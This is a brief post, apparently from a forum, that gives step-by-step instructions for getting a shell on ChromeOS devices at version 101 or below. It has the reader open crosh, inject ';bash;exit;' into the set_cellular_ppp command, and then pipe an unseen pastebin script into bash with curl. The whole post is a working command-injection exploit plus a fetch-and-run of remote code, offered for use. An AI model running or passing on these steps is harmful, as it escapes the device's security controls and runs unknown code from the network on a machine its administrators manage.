I got the code right before someone deleted it
If you want to use it, first you have to downgrade your chrome os below 101 or just 101, here is a list of chrome versions https://chrome100.dev/
next you have to open crosh, ctr+alt+t
then you have to paste this into the console
set_cellular_ppp \';bash;exit;\'
Next you have to paste this into crosh
bash <(curl https://pastebin.com/gFF7mLDG)
and done.